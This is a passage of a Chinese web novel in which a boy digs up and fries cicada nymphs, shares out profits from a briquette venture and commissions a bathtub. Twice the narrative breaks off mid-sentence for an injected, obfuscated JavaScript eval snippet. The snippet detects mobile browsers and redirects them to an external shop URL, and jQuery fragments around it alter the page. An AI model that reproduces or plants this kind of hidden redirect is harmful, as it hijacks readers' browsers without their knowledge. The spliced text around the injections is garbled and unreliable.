牛实看起来和谷元很熟悉,听他说了半天也说不清,就怒了,完全不顾场合就开始教训谷元:“我怎么放心?你也不小了,不知道轻重吗?什么东西值得你一个人大晚上去挖,你不想想你自己,你也得想想你大母!你……” 韦仁和韦世然站着听了一会儿,见牛实完全没有停下来的意思,韦世然先没忍住,瞅着牛实停顿的一个空挡,插嘴问道:“牛实,要不咱们一边走,你再一边说他?” 才说得上头的牛实像是被突然掐住脖子的老母鸡,忙躬身向韦仁作揖,干脆利落地请罪道:“奴婢无状,请郎君宽恕。” 韦世然有些不太习惯牛实这个做派,摇了摇手:“没事。” 牛实自己赔礼后,想起还没给韦世然和韦仁介绍谷元,探手揪住谷元的后衣领,就把谷元拎到了二人面前:“这是家主的两位郎君,快请安。四郎君、五郎君,他叫谷元,是咱家的佃户。” 谷元二话没说,跪到地上就给韦仁和韦世然“砰砰”磕了两个头:“请、请郎君安。”话音未落,谷元背后的竹篓里的竹筒和铲子就滑了出来,挨个儿砸到了他的后脑勺上。 韦仁和韦世然同时看向牛实,牛实会意,上前一步拉起谷大郎:“你作揖就行,不用磕头的。” 谷元连忙又冲着韦仁和韦世然作揖,那真是一揖到底,脑门都磕到膝盖上了:“请郎君安!” 这回倒没有竹筒和木铲之类的东西掉出来,而是整个竹篓滑了下来,直接扣在了谷元的头上。 韦世然被谷元这架势给唬得一愣一愣的,半天憋出一句:“……你可真有礼貌。” 韦仁憋笑。 韦世然看着散落在地的竹筒和木铲,捡起距离他比较近的铲子和其中一个竹筒:“你去林子里挖什么呀?” 韦仁也跟着捡起了滚到他脚边的几个竹筒,竹筒有些分量,里面多半盛了水。 兄弟两个把木铲和竹筒分别递还给谷元,谷元受宠若惊地接过,结结巴巴地回答:“我、我去挖结了龟。” 韦世然茫然:“结了龟是什么龟?和乌龟像吗?龟不是在水里的吗?林子里也有?” 韦世然一串儿问题砸下去,把谷元给砸懵了。 韦仁也没听过“结了龟”这个叫法,不过已经有所猜测,眼神灿亮地问道:“谷元,你说的不会是蝉吧?现在就有了?带上我们呗!” 38.韦庄行二 谷元口中的结了龟指的其实是蟪蛄,也是韦仁最喜欢吃的一种金蝉。 雨后的傍晚是挖结了龟的好时机,不过因为天色逐渐昏暗,哪怕石岩等人准备得格外充分,已经点起了火把,想找到若虫开的孔仍是很不容易。 韦仁和韦世然先是自己找了一会儿,但颗粒无收,只好跟在谷元后面看他找,谷元就像一个结了龟的探测仪,几乎每走几步就能找到一个正在探头的结了龟,有一只甚至才用前肢探出一个小孔,就被谷元发现,一指头下去,就把出师未捷的结了龟给抠了出来! 韦世然和韦仁看得那叫一个心热,没跟一会儿又各自分开,向着不同的方向开始自己找。 韦世然一边找还一边问:“谷元,你捉这个干嘛呀?听声儿玩儿吗?”韦世然和韦仁的二伯公就很喜欢听蝉鸣,每年都有人找到叫声好听的蝉送去讨好他老人家。韦世然自己不是很喜欢蝉鸣,他爱动又很爱出汗,而每次听到蝉鸣都会有一种气温更高的错觉。 牛实站在一边听到韦世然的话,暗自叹息,他是真没想到谷元说来林中挖吃的,是挖虫子吃。 谷元似乎对于吃虫子这件事也感到羞愧,不过还是回答了韦世然的话:“这些结了龟可以吃的。” 韦世然惊讶地扭过头:“你说挖吃的,就是这个?虫子也可以吃吗?” “嗯、嗯……味道不太好,但可以填饱肚子。”谷元说完,脸就红了,其实他觉得结了龟还挺好吃的,不过韦世然这样的郎君们肯定会觉得吃虫子很奇怪。 韦仁正撅着屁股观察一棵榆树附近的泥土,他印象里学习驺县口音时有读到过一句“园中有榆,其上有蝉(1)”,想来金蝉应该是喜欢爬榆树的,此时听到谷元的话,也跟着问:“谷元,这些结了龟,你都是怎么吃的?” “用水煮熟了就能吃。” 韦仁扬声与韦世然说道:“大兄,咱们也挖些回去吃!” 挖虫子什么的,韦世然还挺喜欢,但吃虫子……韦世然有点儿发怵,但他又不想承认他害怕。 韦世然还在纠结要怎么说才既能避免吃虫子,又不显得他胆小,就听到韦仁高声欢呼:“找到了!” 韦世然精神一振,快速跑到韦仁身边,就看到韦仁一手一只连泥带土地抓着两只结了龟,韦世然哇哇大叫:“五郎,你一下子抓到两只!” 韦仁扬着下巴示意韦世然看他脚下一只正在慢慢爬动的结了龟,得意道:“三只!这就叫‘一年不开张,开张吃三年!’” 谷元这时也走了过来,递出一个竹筒:“四郎君五郎君,抓住的结了龟放到这里吧。” 韦世然之前就看到谷元把抓到的结了龟往竹筒里塞,也没客气,拿过竹筒就和韦仁一起把三只结了龟塞了进去,还摇了摇,听到里面的水声,好奇道:“为什么在里面放水呀?会不会淹死这些结了龟?” “不会的,我们家逃荒过来时,路上一个伯伯说的,我就一直这样做。” 韦世然看向谷元:“你们家也是四年前来驺县的?” 谷元点了点头:“是。” 韦世然没再继续问,韦仁也没说话,哪怕是韦仁对逃荒都没有特别明确的概念,但他们知道梅先生的妻子、梅乘的父母和梅乘的一个小妹妹都死在了逃荒的路上。 韦仁和韦世然一沉默,林间的虫鸣声突然清晰起来,更加衬托出韦家兄弟的安静,谷元不知道自己说错了什么,十分无措地看向牛实。 牛实也不知道韦世然和韦仁为什么突然就不太高兴了,正想着说些什么缓和一下气氛,一直站在韦世然和韦仁身边的许靖突然开口:“四郎君、五郎君,天黑了,该回去了。” 韦仁蹲着没动,只昂起脑袋对许靖撒娇:“许叔,我才抓了三只,还不够给你佐酒的呐。” 韦世然也还没玩儿够:“许叔,我还一只都没抓到。” 许靖对韦仁说:“我不吃。”然后向右边走了两步,指着一个小洞,对韦世然说,“四郎君,这里有一只,你挖了,咱们就回去。” 韦仁韦世然:……狠,还是许叔狠! 韦仁和韦世然离开树林前,谷元送了一个竹筒的结了龟给二人,韦世然不想要,摇着手就要拒绝,韦仁却是一点儿没客气地接过了竹筒,还把牛实留下来:“你陪他抓完结了龟再回去。” 牛实也不放心谷元,很乐意地答应了。 一行人回到韦庄后,韦仁直奔厨房,韦世然见状就跑去找韦玄成和赵氏,他一定要让阿翁和阿母阻止韦仁吃虫子! 韦庄的厨房这时候也有人守着,主要就是等着主人家要水洗漱,值守的人是个十五岁左右的少年,他面对韦仁时有些怯,不过仍是坚定地把韦仁拦在了厨房外面。 韦仁也不为难他,先让少年打来一盆清水,然后就把一竹筒的结了龟倒进盆里,就着厨房内透出的一点火光,韦仁挽起袖子就开始清洗结了龟身上的泥土。 少年看到那一盆还在倒腾腿儿的虫子时头皮就麻了,他倒不怕虫子,可看着韦仁把手伸进虫子堆时,鸡皮疙瘩就开始一批一批地往外冒。 沈决明一直跟在韦仁身边,也不知道从哪里找出来一个草编的蒲团,就塞到了韦仁的屁股底下。 韦仁本来就是蹲着的,察觉到沈决明的动作,直接一屁股坐到了蒲团上,还招呼沈决明:“再端一盆水来,一遍洗不干净。” 沈决明领命,正要去找盆子,就被少年扯到了一边:“你帮我看着些五郎君,可千万别让他进厨房,我去去就回。” 沈决明疑惑地看向少年,少年不知道沈决明不会说话,以为沈决明看他就是答应了,说完转身就跑了。 不一会儿,少年就回来了,与他一起来的,还有牛老汉。 韦仁这时候还没洗完第一遍,牛老汉小跑到韦仁身边,他不像少年那般还会质疑韦仁的所作所为,只好声与韦仁商量:“五郎君,这些粗活交给奴婢们就好,你要做什么,只管吩咐。”说完,还嗔怪地说了少年一句,“你也不知道给五郎君帮把手!” 韦仁这时候其实也有点儿困了,牛老汉既然这样说,他也没客气,指指那盆还鲜活的结了龟:“洗干净,再用温水泡一个时辰,要加上三勺盐。泡好后,用煮开的葱姜水焯一下,大概默数两百个数那么长时间,之后连汤带这些结了龟一起盛出来,放些盐腌着就行,我明天要吃。” 牛老汉是见过世面的,他知道这东西能吃,但韦仁铁定是不缺肉吃的,他实在想不通韦仁怎么会想吃这些丑不拉几又没什么肉的虫子,不过他一句废话没说,只点头应了:“是,老奴记下了。” 韦仁站起身,一边甩着手上的水,一边问:“牛伯,你认识谷元吧?” “认识,他是咱们家的佃户,因为他们家除了他,只有他大母和他妹妹,家主和夫人一直少要他们家一成佃租。” “这样啊。”怪不得听说他和韦世然是韦家的郎君后,谷元就行了那么大的礼,韦仁将已经空了的竹筒递给牛老汉,“你明天派人给他家送点儿吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305681|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食过去,顺便把这个还给他,再替我说一声,谢谢他送我们的礼物,我很喜欢。” “是。” 韦仁第二日睡了个大懒觉,他不止没赶上采野蕈,实际上,韦仁起床时,韦玄成都已经带着韦世然出发去渐兴聚拜访罗夏归了。 韦仁由赵氏和韦元茹陪着吃了一顿迷迷瞪瞪的早午饭,彻底清醒后也没急着去看他那些结了龟,而是先去写功课。 因为头一日,韦仁不仅没写功课,连同笔记和马步他都没做,反正现在有空闲,便花了些时间全给补上了。 于是,等韦仁去厨房料理那些结了龟时,已经近午时。韦仁没想到,除了腌制好的结了龟外,还有惊喜等着他—— 韦仁看着挤在竹筐内的一堆麻雀,欣喜地看向沈决明:“这些都是你打的?” 沈决明轻轻点了下头。 韦仁竖起两根大拇指:“厉害!一会儿做好的第一只结了龟就奖励给你吃!” 沈决明:……并不是很想吃。 韦庄的厨娘人称椿婶子,昨天那个值守的少年就是椿婶子的幺子,椿婶子见到韦仁过来厨房,就知道他是冲那些结了龟来的,忙将腌制了一晚的结了龟端给韦仁看。 韦仁用筷子拨了拨,确定洗得确实很干净后,就对椿婶子说道:“你会煎肉吗?” 椿婶子点头:“会的会的,晚食吃脂膏不好,早食也是,所以没上煎制的菜色,今天午食就有一道煎兔肉。” 韦仁扬扬眉,不吝夸奖:“椿婶子,你很有见识呀。” 椿婶子被夸得眼睛眯成了一条缝儿,胖胖的手指不知如何安放,只“唰唰唰”地来回摇摆:“五郎君过奖!我一乡下妇人,哪儿有什么见识?!”话虽如此,椿婶子显然很高兴。 韦仁指着那些结了龟:“这个用煎的,煎的时候注意把它们压扁,听说这样煎出来的结了龟又酥又脆。” 这做法不难,椿婶子一听就懂了,只问:“是现在给五郎君做出来,还是等午食时一起端去饭厅。” “你先捡出十个做来试试,剩下的等我阿翁和大兄他们回来再做给他们吃。” “五郎君真是孝顺!” 煎结了龟不怎么费工夫,韦仁只在厨房门口等了一刻多钟的时间,椿婶子就亲自端着一个托盘出来了,托盘上不止有金黄诱人的结了龟,还有三个小碟子。 椿婶子指着碟子依次给韦仁介绍:“这是盐、这是豆酱、这是兔肉酱,单吃若是觉得淡可以蘸着吃。” “有心了。”韦仁接过筷子夹了一只,才要放到嘴里就想起来他的承诺,手腕一转,将结了龟递向沈决明,“来,尝尝。” 沈决明不料韦仁还记得,只得硬着头皮,略俯低身体,张嘴咬了那只金黄色的虫子。 韦仁期待地看着沈决明:“怎么样?” 入口还有些烫,沈决明张着嘴缓了一下,才开始嚼。那是沈决明从来没吃到过的味道,没有太重的调味料的味道,就是觉得好吃,正如韦仁说的那般,外酥里嫩! 韦仁看沈决明的眼神就知道味道绝对不差,立马夹了一个,放在嘴边吹了吹,就一口吃到嘴里,下一瞬间,韦仁的眼睛就享受地眯了起来,不愧是能炒到百元一斤的美食! 韦仁自己吃了三只,给沈决明塞了两只,然后端着剩下的五只就去找赵氏和韦元茹了。 韦仁一片殷切之心,在赵氏和韦元茹面前遭到了沉重打击,母女二人一致表示:谢谢,不用了,你可不可以把它们拿远一点! 39.第一桶五铢钱六 赵氏不止自己不吃,听说韦仁已经吃过三只煎结了龟后,她还不许韦仁继续吃了。 赵氏倒不是恶心韦仁吃虫子这件事,虽然也不是很喜欢,不过最重要的是,韦仁身子娇贵,煎炸的和炙烤的菜色她就很少允许韦仁吃。 韦仁也不敢多吃,但他觉得自己吃上五六个还是可以的,但赵氏坚决不许,最后甚至看着沈决明吃完那五只结了龟后才算完。 韦仁被打击的小心灵最终是被韦玄成和声称不吃结了龟的许靖给治愈的,两个人喝着小酒就把剩下的二十多只结了龟给吃完了。 韦世然也就捞到一只尝尝味道,他倒是觉得口感不坏,不过比起结了龟这种不好看的虫子肉,韦世然还是喜欢一口下去就能塞满嘴巴的寻常肉类。 虽然韦世然不够捧场,韦仁对自家大兄却没有一点儿怨怪之情,因为他发现,韦世然特别招蚊子!在家里还不明显,昨天二人一起出门遛弯,韦世然的手、脸和脖子被叮了十一个包,而韦仁全身上下只有左手手腕处被叮了一个包,还不是很痒的那种。 韦世然大概率不是唯一吸引“火力”的那个人,但韦仁依然对他产生了浓厚的感激之情,并不厚道地决定,以后必须去蚊虫多的地方时尽量带上自家大兄! 韦仁下午跟着韦世然去自家田地看了看,又去附近的土坡上摘了许多野花野草,就带着沈决明抓到的那笼麻雀心满意足地随家人一起返程了。 韦玄成和赵氏看韦仁这举动真是又发愁又欣慰,发愁是韦仁真是什么都敢吃,欣慰是韦仁虽然挑食,但其实什么都吃,只是吃多吃少的区别。 韦玄成捏着韦仁的脸颊调侃他:“听说南面的蛮人还会吃蝎子蜈蚣什么的,你也不差,不知道你哪天是不是就要吃老鼠了?” 韦仁还真知道一道名为“三吱儿”的老鼠菜,不过他不吃活物,也不食生,所以没吃过,闻言,韦仁就看着韦玄成认真地说:“哪天阿翁想吃,我就去抓给阿翁吃,抓最大最肥的。” 韦玄成被恶心得够呛,笑骂:“你留着自己吃吧!” 一家人回到韦宅后各自安顿,韦仁和韦世然才走到君子院门口,就看到负责留守以及看护秧苗的毋忧正候在那里。 韦仁不禁问道:“怎么等在这里?” 毋忧难得满脸愁容地看着韦仁:“五郎君,那些秧苗,我觉得不太对劲。” 韦仁的心脏瞬间提起来了,忙加快步子往里走,一边走一边问:“怎么了?不会是烂根了吧?”韦仁一向认为根是植物的命门,听名字就知道,“根”坏了,一切就都完了。 “应该不是,叶子还是绿的,只是有好几个木桶里的水突然长了好多藻,我也不敢动它们,就是看着怪怪的,也不知道对秧苗有什么影响。” 韦仁脑海里开始思索关于水藻的知识,脚步不知不觉就缓了下来,直到走到那些秧苗面前,韦仁踮起脚尖看向木桶内的水,水中果然漂浮着成片的浅绿色的水藻。 韦世然也跟着来了,看到水藻后,嫌恶地咧了咧嘴:“看起来好脏呀,五郎,要不要把它们捞出来?我觉得秧苗不会喜欢它们。” “唔……按理说,应该是不讨厌的。”韦仁理智上明白水藻释放氧气之类的作用应该对秧苗有好处,但他也拿不准水稻是不是真的会喜欢,咬着嘴唇,韦仁犹豫了半天,才说道,“观察两天,只要水藻不变成深绿色,就先不管。” 毋忧见韦仁拿定主意就放下了心,韦仁自己却是提着半颗心,忍不住“啧”了一声,一巴掌呼上自己的脑门:光顾着玩儿了,应该和牛实打听打听,聚里有没有人种过稻子的。 之后几日,韦仁都紧盯着那些水藻,水藻的颜色一直保持着健康的颜色,而秧苗们也都保持着同样健康的绿色,韦仁另一半的心才放下来:水藻是好的,是受到欢迎的。 谁想,又过了一个休沐日后,那些水藻突然以极快的速度消失了。看着清可见底的浅浅水层,韦仁的心情就别提了,真是应了那句“失去时才知道珍惜”! 不过,韦仁的心情也只低落了几天,因为罗朗来找他了!带着五铢钱来找他了! 韦世然之前和韦玄成拜访过罗夏归后,就与罗夏归约定,他每三天来一次韦家教习韦世然射箭,罗朗就是跟着罗夏归一起来的。 韦仁因为每日放学后要帮戚先生做事,等他到家从赵氏那里得知罗朗来找他时,罗朗已经在君子院中等了他小半个时辰。 韦仁回到君子院时,罗夏归正把着韦世然的手臂纠正他射箭的姿势,而罗朗则盘腿坐在正屋的檐廊下,有些无聊地看着两个人。 直到毋忧唤了一声“五郎君”,罗朗的眼睛才聚焦并看向了院门,与韦仁含笑的眼睛对上视线后,罗朗的表情也生动起来,趿拉上木屐,罗朗就向着韦仁走了过来:“阿仁,你可回来了!” 韦仁也快速上前,与罗朗互相致礼,然后又对韦世然和罗夏归打了声招呼,韦仁才重新看向罗朗,又向罗朗揖了一礼:“让罗大兄久等了,我若知道你来找我,该早点儿回来的。” 罗朗亲热地拍拍韦仁的肩膀:“这有什么,本就该给你递谒的,不过我想给你个惊喜,就贸然跟着夏归兄来了,你不怪才好。” 韦仁一边与罗朗寒暄,一边将罗朗向西厢引,听到这话,狡黠一笑:“我才不怪呢,看罗大兄红光满面的样子,就知道是个大好消息,弟弟已经听到铜钱声啦!” 罗朗哈哈大笑:“阿仁一猜就中!” 罗朗对候在旁侧的僮人招了招手,那僮人就将怀里的一个木盒递给罗朗,韦仁也趁着这个空挡吩咐毋忧:“去东厨说一声,给罗大兄额外准备一道葫蓉菠薐和三十串燔炙羊肉。” 罗朗有些意外:“你怎么知道我喜欢菠薐的?”之前韦仁来罗家用的午食中可没有这道菜。 “我也忘了是哪天,和夏归兄一起用晚食时,他说你和另外一房的姊姊很喜欢食菠薐,听说周伯母还特意为兄在家辟了一片地种菠薐。” 任谁被人着意记在心里都会感到高兴,罗朗也不能免俗,不由笑道:“阿仁可真是个仔细人。” 待到沈决明端来了茶果,韦仁又让了罗朗一回,二人才开始说今日的正题。 “这是好燃又干净的蜂窝柴这个月的盈余。”因为韦仁每次都坚持说全名,罗朗便也这样说,罗朗将手旁的盒子推向韦仁,“其实我该早些过来,不过上个月只剩几日,我就都算到这个月了,你看一看。” 盒子没有锁,韦仁直接掀开盒盖,果然见到里面是一串串用麻绳绑好的五铢钱,钱上面是几片竹简,记录着购买人和贩售的数量以及价格。 罗朗指着其中两家说:“我和他们有合作,一个是三月一结,一个是半年一结,他们两家的钱我先垫给你,之后你这边看总账时,这里可能对不上。” 韦仁拿钱也是准备去分期的,可不想先被赊账,对罗朗的做法十分欣赏:“多谢罗大兄照顾,我就不客气了,说实话,我也是等钱用的。” 罗朗很意外:“你是有什么事急着用钱?” 韦仁面露羞涩:“现在还不能说,反正我要给阿翁阿母一个惊喜,到时候罗大兄你就知道了。”韦仁竖起一根手指比了个“嘘”,“我只与罗大兄你说,你千万为我保密。” 罗朗是真惊讶,他发现他对韦仁的认识又要刷新了,“孝”可是现今的意识主流,“聪明会赚钱”和“为了让父母高兴而赚钱”完全是两种层级的品质。 罗朗目露赞赏:“阿仁纯孝!” 瞧,连夸奖的方向都变了。 韦仁挠了挠脸颊:“我阿母还不知道呐,她不想我在钱上花费精力。”说着,韦仁轻轻叹口气,“我也不想罗大兄你觉得我是缺钱才想法子赚钱的,没忍住就和你说了,你可一定要为我保密啊。” 韦仁这样狡黠里透着实在的话让罗朗对韦仁又亲近几分,看着韦仁伸过来的小拇指,罗朗一边乐一边勾上去:“放心,我连家父也不说。”说着,罗朗点点盒子,“你清点一下,别错了数目。” 韦仁没有数,而是拉了铃铛,待沈决明走进来后,直接吩咐道:“写两份收款契据,好燃又干净的蜂窝柴的盈利,一共1334铜钱。” 等到沈决明写完,韦仁在一对并列的两片竹简背面用丑不拉几的大字写了自己的名字,然后从每对竹简中挑了一支一起递给罗朗:“兄收好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318364|138206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 罗朗接过竹简,玩笑道:“真不数一数?阿仁你可是个谨慎人呐。” 韦仁眨眨眼睛:“等兄走了我再数,要是少了一枚,我会直接去找罗伯伯评理的。” 罗朗大笑,顺了一把耳后的头发,说道:“阿仁,今天除了来给你送这个月的盈利外,我还有事想与你商量。” “兄尽管说。”韦仁也猜到罗朗另外有事,不然罗朗完全没必要亲自前来。 “你之前说,干粪燃烧后的残渣可能可以当作肥料,我也想试试。”罗朗神情整肃,“只是,耕种这事,真正在行的都是些老农,他们能知道明天是刮风还是下雨,能知道哪些土能长出好庄稼,但让他们说说怎么去验证那些肥料能不能用、效果几何就不行了。” 罗朗有些无奈:“读书人聪明,对一件事,哪怕不懂也知道怎么想办法,但读书人很少会亲自下地耕种,我不信有人凭空就能知道如何种好地,而那些天天忙于稼穑的农人可没条件读书。” 韦仁点头,表示同意。 别看朝廷拼命打压商人抬高农人,也多有读书人说“商贾贱业”、“农为国之本”之类的大道理,但这两种人哪个过得苦大家心里都有数。韦玄成认识那么多读书人,手里有土地的人不少,但真正会亲历亲为去实践耕种之事的也只有一个凡愿而已。 “你可能听说过,我有个从弟对耕种之事也颇为上心,我自己是不懂稼穑之事的,所以想把研究粪肥的事交给他。”罗朗挺直腰背,郑重邀请,“不知阿仁你可愿意与我们一起?” “我对种地还算有兴趣,不过我没什么时间。”韦庄行让韦仁明白,哪怕韦玄成现在就送他一个畜牧场,他也是没空管理的,至少要学会骑马,他才可能频繁来往城聚。 “我可不敢耽误你的学业,种地不是一日半日的事,也不是说阿仁你就得事事盯着,我是希望,你能参与进来,那些畜粪到底要怎么用,咱们一起商量出一个章程,之后实施时,若遇到问题,望阿仁不吝指教。”罗朗顺口又夸了韦仁一句,“你那些稻米就种得极好,咱们这边还没人种过这个,阿仁你真是敢想敢干!” “罗大兄,你再夸我,我对农事也是一知半解,不对,连半解都算不上,我都是听先生和凡师伯指导,自己闹着玩儿的。”韦仁可不敢咣当这半瓶子醋,种地的时间成本极高,错一次,或者运气坏一点,那浪费的就是大半年的光景,韦仁只为自己负责,可负责不了其他人。 罗朗原以为韦仁是打算在粪肥上的事也与他合作的,如今才明白,韦仁给他出了主意没错,却是打算“各玩各的”。 那怎么行?冲着那位先师讲堂里的师伯就不行呀! “能‘知’一点就很好了,我主要是觉得阿仁你脑子活,不像我们,年纪越大越是不敢想。”罗朗探身拉过韦仁的小手,满含“深情”地说,“往小里说,我这是希望家里的土地能多种出些粮食,往大里说,若能做出些成效,那是惠及咱们鲁国所有的农人呐!” 韦仁看着罗朗洋溢着热情和野心的牛眼,嘴角抽了抽:“可咱们都要吃饭,我自己瞎折腾不怕什么,万一祸祸了土地……有时候少一石粮食可能就是数条人命的事,长辈们一直训诫,要我行事谨慎的。” “那人也不能怕噎死就不吃饭呀。”罗朗目光炯炯地盯着韦仁,“阿仁,我与你实说,我已经做好十年无果的准备!” 罗朗若真能如此践行,倒真是有大魄力了!韦仁不由也慎重起来,沉吟片刻后说道:“兄既有此心,我考虑一下。” 罗朗立马笑出两排大白牙:“敬候佳音!” 晚上韦仁和韦世然一起将罗朗和罗夏归送至大门口,目送他们骑马离开,消失到巷口后,韦仁脸上的笑容就淡了下来,不要说毋忧这种细心人,连韦世然都看出来了。 韦世然问道:“五郎,你怎么了?” 韦仁揉了揉脸颊:“笑太多了,脸酸。” 韦世然捏了捏韦仁的脸颊:“你干嘛对罗大兄那么热情?你们才第二次见面。” “他给我送钱来了,能不热情吗?”韦仁扯下韦世然的手,反手拉住他就往自己的屋子跑:“走!分钱去!” 40.第一桶五铢钱七 出于保密工资的习惯,韦仁让其余人等在外面,只和韦世然一起走进屋里。 韦仁把钱盒抱到矮榻上,然后把盒子里面的七串铜钱全部拿了出来,分了三串给韦世然:“大兄,帮我数一数。” 兄弟二人盘腿坐在榻上,津津有味地各自数铜钱,韦仁比韦世然快一点,率先报数:“734。” 韦世然也不慢,他也没受到韦仁的打扰,仔细数完自己这边,就报数道:“600枚!加上734……400……334,一共1334枚!” 韦仁打了个闷闷的响指:“没错!” 因为数数,铜钱此时都散开了,比起串在麻绳上,一千多枚铜钱摊开着散在榻上的样子更为壮观。 韦仁和韦世然都忍不住把两只手放在铜钱上,一边抚摸,一边把它们推到一起,堆成一个小钱山,然后把手戳进里面,让手背也感受到铜钱那种冰冰凉凉的金属感。 兄弟二人看着对方的眼睛,同时“嘿嘿嘿”地笑起来。 韦仁划拉出一部分铜钱:“大兄,你再数数,数出311枚铜钱,是我答应给你的。” 说完,韦仁也开始数,数了100枚铜钱,用一根麻绳串起来放在一边——这是给韦元茹答谢她帮忙做模具的。 然后,韦仁分出280枚铜钱,其中120铜钱是给石大郎的,80枚是给石岩的,还有80枚是给沈决明的。再然后是给毋忧和阿桂各自50铜钱。 最后,刨除500铜钱作为浴盆的第一期款项,剩下的43枚铜钱就是韦仁“第一桶五铢钱”的结余啦! 韦仁把石岩的那80枚五铢钱交给韦世然:“这是给石岩的奖赏,大兄,你给他。” “为什么我给?这些钱都是你的,你给他呗。” 韦仁把那串钱塞到韦世然手里:“他是你的人,当然是你给。” 等韦世然拿着钱离开后,韦仁又依次把毋忧、阿桂和沈决明叫了进来,将钱分给了他们。 除了韦世然和沈决明外,没人知道韦仁这次到底得了多少钱,不过君子院的人都睡了美美的一觉,闭眼前想的都是:五郎君真大方! 韦仁倒没觉得自己大方,想让马儿跑,总要让马儿吃草,反过来就是说,既然马儿吃了草,就得赶紧跑。 奖金既然已经到位,韦仁立刻吩咐毋忧用泥巴给他捏个带防滑坐和颈托的浴盆模型。 韦仁没学过人体力学,对设计也是一窍不通,毋忧更是只有韦仁用树枝在地上画出来的浴盆样式作为参考,两个人凑在一起,足足折腾了三天,毋忧才捏出一个韦仁认可的浴盆。 然后,韦仁就托着这个成人巴掌大的泥巴浴盆去找熊大宝了:“放学后,你和我一起去你家器肆一趟吧?” 熊大宝反应了好一会儿才明白过来韦仁是说浴盆的事,没忍住吐了韦仁一槽:“五郎,我还以为你已经忘了这事了。” 韦仁翻了个白眼:“我去让人打听过,我想要买的浴盆至少也得2000铜钱,你以为这些钱是好得的?” 两千铜钱对于熊大宝而言也不是笔小数目,他存下的零花钱也就比这个多一点点,熊大宝算术学得一般,对五铢钱却很敏感,问道:“你是怎么与赵叔母要到那么多钱的?” “不是与我阿母要的,是我自己赚的。” 熊大宝一点儿没怀疑,直接问道:“怎么赚的?” 韦仁不答反问:“你家器肆是怎么赚钱的?” “卖漆器。” 韦仁摊手:“这不就完了,能赚到钱自然是卖了东西。” 熊大宝愣了愣,下一刻露出了同情的神色:“那你一定不要让赵叔母知道,不然她肯定会揍你的。” 韦仁不明所以,略略思索了一下,才问:“怎么?你也卖过东西?” 难道金氏是希望熊大宝这一代能脱离商籍所以不许熊大宝做买卖?倒也不是没有可能,韦仁从赵氏那里得知现在就有“市井子孙不得为吏”的律条,赵氏为此对熊大宝还略有惋惜之意,不过,韦仁觉得万事皆可能,特别是朝廷政令方面的事,不说朝令夕改吧,但如今新帝才登基,谁知道他什么时候就打算改一改这条律法了呢? 韦仁还想着,熊大宝已经开口答道:“我以前拿了我屋里的一个玉摆件和一个卖玩具的伯伯换了一个会跑的鸭子车。” 韦仁:……原来你做的是这样的买卖,怪不得你阿母要抽你呐,真个败家玩意儿。 熊大宝一边说一边回忆:“我那时不懂,那摆件的玉质还算不错,反正比鸭子车值钱多了,那个伯伯也不坏,他愿意换是因为那摆件是个兔子,他说他闺女肯定喜欢,而且他知道我亏了,除了鸭子车,还倒找了我十枚铜钱呢。” 熊大宝拿了那十枚铜钱后,给父母各自买了一张糖饼,然后就迎来了金氏的一顿竹板炒肉和熊父的一串铜钱奖励。突然想起熊父,熊大宝心里不太好受,脸上就带了出来。 韦仁还以为熊大宝想起被抽打的事,安慰地拍了拍小伙伴的肩膀:“都是过去的事了,别想了。” 熊大宝眨眨眼睛,反手搂着韦仁的肩膀,低声问道:“五郎,你好厉害呀,你拿了什么东西出去卖的,竟然能换到那么多钱?”说完,熊大宝又有些忧愁,语重心长地叮嘱道,“你一定要瞒好呀!”赵叔母看着比自家阿母脾气好,但能卖那么多钱的东西肯定不是普通物件。 “……有机会再与你细说。” 熊大宝带韦仁去的器肆是距离朝元馆最近的一家,不巧金氏当时去其他商肆巡视去了,韦仁没有见到。 不过,有熊大宝这个少东家做任者,大掌柜之前也得到过金氏的吩咐,韦仁与之谈分期付款的问题十分顺利,甚至,大掌柜坚决拒绝了韦仁提出的利钱,二人互相推让几回,韦仁看出大掌柜是真不肯要利钱便也没再坚持。 比起付款方式的问题,韦仁向负责素工的大匠描述自己的需求花了更长时间,最后还是薛姓的大匠说:“这个弧度不好做,我费些工夫也能做出来,但不说能不能托住孩子的背不让他往下滑,娃娃长得快,这个月合适,可能下个月就不合适了。” 韦仁也想到这个问题了,但他记得朋友家的那个浴盆至少用了两年,也没说孩子就不能用了:“尺寸做大一点,不合适我可以在上面垫个垫子。”没有防水垫,垫个丝绵垫也是一样的。 薛大匠想了想,建议道:“要不然我做成可拆卸的?万一不合适,也不妨碍使用,就是多少会费些木料和漆料。” 韦仁觉得薛大匠的提议很不错,干脆点头道:“只要我买得起,都行。” 薛大匠没见过说话这么直白的小郎君,呵呵笑道:“郎君是少主人的同窗,我们不敢多要的,三个月的工期,拢共2800铜钱,郎君看如何?” 熊大宝一直安静旁听,此时才说:“五郎,这个价真没多赚你的钱,你这是中件,又是薛大匠亲自做,换做其他客人,一般要3100到3300铜钱的。” 韦仁十分诚恳:“我知道,多亏有大宝你的面子呀。”说完,又忍不住吐槽,“你连100以内的加减法都学不好,倒是知道3100比2800多呀,多多少,能算出来不?” 熊大宝鼓着腮帮子,气哼哼地说:“反正比100多!”说完,熊大宝扭头看向薛大匠,“不要给他便宜了!” 